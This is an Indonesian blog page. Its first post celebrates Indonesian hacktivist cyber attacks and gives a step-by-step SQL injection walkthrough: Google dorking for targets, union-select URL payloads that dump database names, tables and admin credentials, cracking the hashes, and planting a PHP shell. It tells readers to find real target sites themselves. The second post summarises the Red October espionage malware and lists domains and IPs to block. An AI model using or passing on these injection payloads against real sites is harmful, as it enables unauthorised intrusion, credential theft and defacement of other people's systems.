SQL INJECTION, METODE SERANGAN YANG BANYAK DI PAKAI TENTARA CYBER INDONESIA

Bercokolnya Indonesia sebagai  top scorer serangan Cyber Dunia tidak pernah diperhitungkan sebelumnya oleh negara-negara di dunia, bahkan negara dibelahan dunia dibuatnya terkaget-kaget siapa sangka serangan cyber Indonesia menjadi sumber serangan dan peretasan Internet nomor satu di dunia pada kuartal kedua tahun 2013 mengalahkan negara-negara besar seperti china, Amerika, Turki, Taiwan dan Rusia.

Contoh Alur Metode Serangan SQL Injection

Meletusnya perang siber antara Indonesia dan Australia pada tahun 2013 menjadi tonggak sejarah pemicu serangan siber besar-besaran terhadap negara Australia, bahkan diklaim menjadi pertempuran terhebat sepanjang sejarah serta terkoordinasi dan termodern bahkan melibatkan para “ellit” (strata tertinggi dalam dunia hacking) sampai para “lamer” (strata terbawah didunia hacking) yang dilancarkan para tentara cyber Indonesia. Sebenarnya Indonesia sudah pernah terlibat perang siber sejak tahun 1999 mulai dari perang siber terhadap Portugal, Australia, serta malaysia dan terakhir Indonesia terlibat kembali cyberwar dengan Australia setalah di picu masalah aksi mata-mata Intelijen Australia terhadap Presiden Indonesia pada tahun 2013. 

Contoh listing SQL Injection Ketika memasuki form

Berbicara masalah persenjataan para hacker Indonesia pun beragam mulai dari terbanyak di pakai adalah SQL Injection kemudian Ddos dan terakhir Bootnet  dari kesekian banyak motif serangan tersebut yang paling lucu adalah hanya dilakukan oleh para anak anak pelajar SMA atau Kuliahan yang dikerjakan di warnet-warnet, komputer personal bahkan leptop-leptop pinjaman .

Nah.. kali ini kita akan mencoba mengulas serangan menggunakan SQL Injection yang digunakan untuk meretes halaman website atau kata lain dari deface.

Penggunaan teknik SQL Injection dalam proses mendeface sebuah website masih populer di kalangan peretas website. Hal ini karena banyaknya programmer yang lalai menaruh perhatian terhadap serangan SQL Injection. Serangan SQL Injection merupakan serangan deface yang sangat halus sehingga seorang administrator website tidak akan sadar jika ada seseorang yang telah masuk dan mengambil alih kontrol administrator suatu aplikasi berbasis website

Apa itu SQL Injection ?

Secara harfifah SQL Injection adalah salah satu jenis penyerangan yang mengizinkan user tidak sah (penyerang) untuk mengakses database server. Pada dasarnya, serangan ini difasilitasi oleh kode program itu sendiri. Tekniknya, penyerang mencoba memasukan query (melalui field atau URL) yang akan menyebabkan database serber menggenerate query SQL yang tidak valid.

Bagaimana Cara Kerjanya ?

Cara kerjanya adalah memasukan query SQL atau perintah (command) sebagai input yang dimungkinkan melalui halaman web. Dimana halaman web mengambil parameter dari user, lalu membuat query sql ke dalam database. Salah satunya adalah pada halaman login user, dimana pada halaman web akan membuat query sql ke database untuk memeriksa username dan password yang tepat.

Apa yang diperlukan ?
Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.
 

Apa yang perlu di cari ?
Kita dapat memanfaatkan halaman-halaman web yang terdapat submit data , contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL.
 
Hal yang harus di ketahui sebelum melakukan serangan 

Yang perlu di ketahui sebelum sql injection pada mysql :
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )

 
CONTOH SIMULASI SERANGAN BY INDONESIAN CYBER COMMUNITY 

1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya inurl:”index.php?id=” search dengan GOOGLE, misalkan kita mendapatkan alamat situs

http://www.target.com/index.php?id=4

Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda petik pada akhir url, sehingga urlnya menjadi

http://www.target.com/index.php?id=4’

lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya menampilkan pesan error, berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah and+1=1--

 
Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil dengan normal karena 1=1 menghasilkan nilai true.
 

http://www.target.com/index.php?id=4+and+1=1--

Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut  99.9% memiliki bug SQL Injection

http://www.target.com/index.php?id=4+and+1=2--

2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus mencari tau nama table dan column, tapi sebelum itu saya harus mencari tau pada column ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan perintah +order+by+ perhatikan url berikut.

http://www.target.com/index.php?id=4+order+by+1--
http://www.target.com/index.php?id=4+order+by+2--
http://www.target.com/index.php?id=4+order+by+3--
http://www.target.com/index.php?id=4+order+by+4--
http://www.target.com/index.php?id=4+order+by+5--

url diatas jika di coba satu persatu akan menampilkan situsnya secara normal. Tapi ketika diinput dengan order+by+6-- apa yang terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa dipastikan terdapat 5 buah column yang terdapat disalah satu table yang belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-- saja.


3.Gunakan Perintah Union Select
Setelah mengetahui terdapat 5 buah column pada target, selanjutnya yaitu mencari column yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+ sehingga urlnya menjadi :

http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--

Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di Database.
 

http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--

Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karena angka tersebut adalah letak column dimana attacker bisa melakukan injeksi lebih lanjut.

4.Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa informasi seperti nama database, nama user database, versi database, sessi user dll. Untuk melihat nama database, injeksi urlnya menjadi

http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--

Dan disini browser menampilkan nama database yaitu xyb_injector. Saya mencoba mengintip lagi nama user database pada situs tersebut dengan menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url injeksinya menjadi :
 

http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--

 

Ternyata user dabasenya root@localhost dan beruntung sekali karena versi mysql yang di gunakan adalah versi 5.0.51a-community, lho emang kenapa kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja deh, cari target baru, hahahaha ?.

Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user dan nama database pada column ke-2 dan pada column ke-3 saya mengintip versi databasenya.
 

http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database())

,version(),4,5--

5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web tersebut, sebenarnya yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat, versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini memudahkan saya dalam mendapatkan table dengan menggunakan perintah table_name pada column yang memiliki bug yaitu angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan
 

from+information_schema.tables+where+table_schema=

database()+limit+0,1--

Sehingga urlnya menjadi : 

http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5

+from+information_schema.tables+where+table_schema=

database()+limit+0,1--

Di web tersebut tampil sebuah table bernama "table_attacker". Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name) pada column yang memiliki bug, sehingga urlnya menjadi

 

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5

+from+information_schema.tables+where+table_schema=

database()--

6.Dapatkan Nama Column
table_user sudah saya dapatkan selanjutnya yaitu mencari nama column pada table tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya menjadi
 

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+

from+information_schema.columns+where+table_name=

0xhexa--

pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya. Salah satu website yg digunakan untuk konversi :

http://www.string-functions.com/string-hex.aspx

Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
 

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5

+from+information_schema.columns+where+table_name=

0x7461626c655f75736572--<

Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan password_id.

7. Dapatkan Usename & Password
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah column yaitu “user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik terakhir yaitu menampilkan isi data dari column tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah +from+(nama table berasal) à dimasukkan setelah angka terakhir sehingga urlnya menjadi :
 

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,

password_id),4,5+from+table_user--

Tampillah seluruh username dan password dari situs tersebut. Biasanya password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang menyediakan cracking password atau dengan tool cracking password. Setelah itu anda tinggal mencari halaman log in admin dan masuki sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga semua website yang berada dalam 1 server yang sama dengan website yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut, berbahaya sekali bukan?

Catatan :

maksud dari penggunaan link www.target.com adalah websitenya cari sendiri dengan memanfaatkan google dengan mencari menggunakan kata kunci tertentu. 

Sumber : 

Berbagai sumber sedangkan contoh simulasi serangan diambil dari Indonesia cyber community

Di Sunting Kembali by:
http://www.momosergeidragunov.com/

Share:

Read More

VIRUS ROCRA CANGGIH SETARA FLAME YANG DIRANCANG RUSSIA & DIKEMBANGKAN CHINA

Siklus Distribusi Data Virus kepada Mastermain

virus yang bernama "Red October" atau disingkat "Rocra" adalah piranti lunak berbahaya (malware) yang mampu mencuri informasi dari target dan secara aktif mengirimkannya ke beberapa server command and control. Server ini merupakan pusat data yang dapat mengatur komputer yang menjalankan malware. Rocra ditemukan pada bulan Oktober 2012 dan terbongkar pada Januari 2013 oleh perusahaan Kaspersky Lab - Rusia.  Malware itu dilaporkan beroperasi di seluruh dunia selama lima tahun sebelum ditemukan.

Red October merupakan cyberespionage canggih yang dibuat untuk memata-matai badan diplomatik, pemerintahan dan badan riset pengetahuan,  grup energi dan nuklir, serta perdagangan dan luar angkasa di negara-negara di Eropa Timur, bekas negara Republik USSR (Uni Soviet) dan negara-negara di Asia Tengah. Namun tak ada  negara yang aman darinya, termasuk Eropa Barat dan Amerika Utara, termasuk Swiss dan Luxemburg.

Kaspersky mengatakan, bentuk Rocra mirip dengan malware Flame yang menyerang jaringan komputer Iran tahun lalu. "Ini adalah kerjaan profesional kampanye spionase siber selama beberapa tahun," kata Kurt Baumgartner, peneliti keamanan senior di Kaspersky Labs.

Setelah Virus ini terbongkar, beberapa perusahaan hosting menutup sebanyak 60 domain yang digunakan oleh pencipta virus tersebut yang digunakan untuk mengumpulan informasi. Rocra ini beroperasi dengan menggunakan eksploitasi di Microsoft Word dan Excel bukan hanya itu Informasi yang dicuri dari sistem yang terinfeksi termasuk dokumen-dokumen dengan ekstension: txt, csv, eml, doc, vsd, sxw, odt, docx, rtf, pdf, mdb, xls, wab, rst, xps, iau,  cif, key, crt, cer, hse, pgp, gpg, xia, xiu, xis, xio, xig, acidcsa, acidsca, aciddsk, acidpvr, acidppr, dan acidssa. Khusus untuk “acid”, ekstension tersebut kemungkinan merujuk ke software rahasia “Acid Cryptofiler”, yang digunakan oleh beberapa entitas mulai dari Uni Eropa hingga NATO. 

Mengeksploitasi mampu mencuri jumlah mengejutkan dari informasi. Hal ini dapat mengambil data dari kedua PC dan smartphone yang terhubung ke PC. Hal ini dapat mengambil file dari drive removable. Itu termasuk data yang telah dihapus. Hal ini dapat menyalin seluruh pesan e-mail dan lampirannya. Malware ini juga dapat bertindak sebagai logger kunci pada mesin yang terinfeksi. Malware dapat menyimpan riwayat browsing dari banyak browser seperti Opera, Internet Explorer, Khrom, dan Firefox. Hal ini bahkan mampu mengambil screenshot.

Karakteristik Red October :

• Modul “Resurrection”: Modul yang memungkinkan para penyerang untuk “resurrect” atau menghidupkan lagi komputer yang telah terinfeksi. Modul ini ditanamkan sebagai plug-in di dalam Adobe Reader dan instalasi Microsoft Office dan memberi jalan aman bagi para penyerang untuk mengakses sistem yang ditarget jika body malware utama ditemukan dan dihapus, atau jika sistem ditambal (patch). Begitu C2 beroperasi lagi para penyerang mengirim file dokumen khusus (PDF atau dokumen Office) ke komputer korban melalui email yang akan kembali mengaktifkan malware tersebut.
• Modul mata-mata kriptografis tingkat tinggi: Tujuan utama modul mata-mata ini adalah mencuri informasi. Ini termasuk file dari berbagai sistem kriptografis, misalnya Acid Cryptofiler, yang digunakan oleh organisasi-organisasi seperti NATO, Uni Eropa, Parlemen Eropa dan Komisi Eropa sejak musim panas (Juni – September) 2011 untuk melindungi informasi sensitif.
• Perangkat Bergerak (Mobile): Selain menargetkan ruang kerja (PC), malware ini juga mampu mencuri data dari perangkat bergerak seperti smartphone (iPhone, Nokia dan Windows Mobile). Malware ini juga mampu mencuri informasi konfigurasi dari peralatan jaringan enterprise seperti router dan switch, juga file yang telah dihapus dari disk drive (USB drive).

Identifikasi penyerang: Berdasarkan data registrasi server C2 dan beberapa jejak executable malware ini, ada bukti teknis kuat yang mengindikasikan bahwa para penyerang berasal dari negara berbahasa Rusia. Selain itu, executable yang digunakan oleh para penyerang sampai saat ini belum diketahui, dan tidak dikenal oleh para pakar Kaspersky Lab saat menganalisis serangan-serangan mata-mata cyber sebelumnya.http://www.momosergeidragunov.com/

Rocra lebih canggih dan tersembunyi dibandingkan malware Flame yang menyerang jaringan komputer Iran tahun lalu, Kaspersky mensinyalir virus ini diciptakan oleh peretas China dan modul malware dibuat dalam bahasa Rusia. "Kami tidak mengatakan mereka adalah hacker Rusia, tetapi para pengembang berasal dari negara berbahasa Rusia”. namun malware “Rocra”, yang diklasifikasikan sebagai Backdoor.Win32.Sputnik, berhasil dideteksi, diblokir dan diremediasi oleh produk-produk Kaspersky Lab.

Untuk mencegah serangan virus ini, khususnya bagi para teknisi kantor-kantor pemerintah, Kaspersky Labs memberikan beberapa tips, antara lain :

• Block traffic dari beberapa domain : arabooks.ch, artas.org, tsoftonline.com, eamtm.com, dan news.grouptumbler.com
• Block traffic dari IP: 200.63.46.23, 194.38.160.153, 95.128.72.24, 72.34.47.186, 188.40.99.143, 85.95.236.114

Created by

|||0|||0

Share:

Read More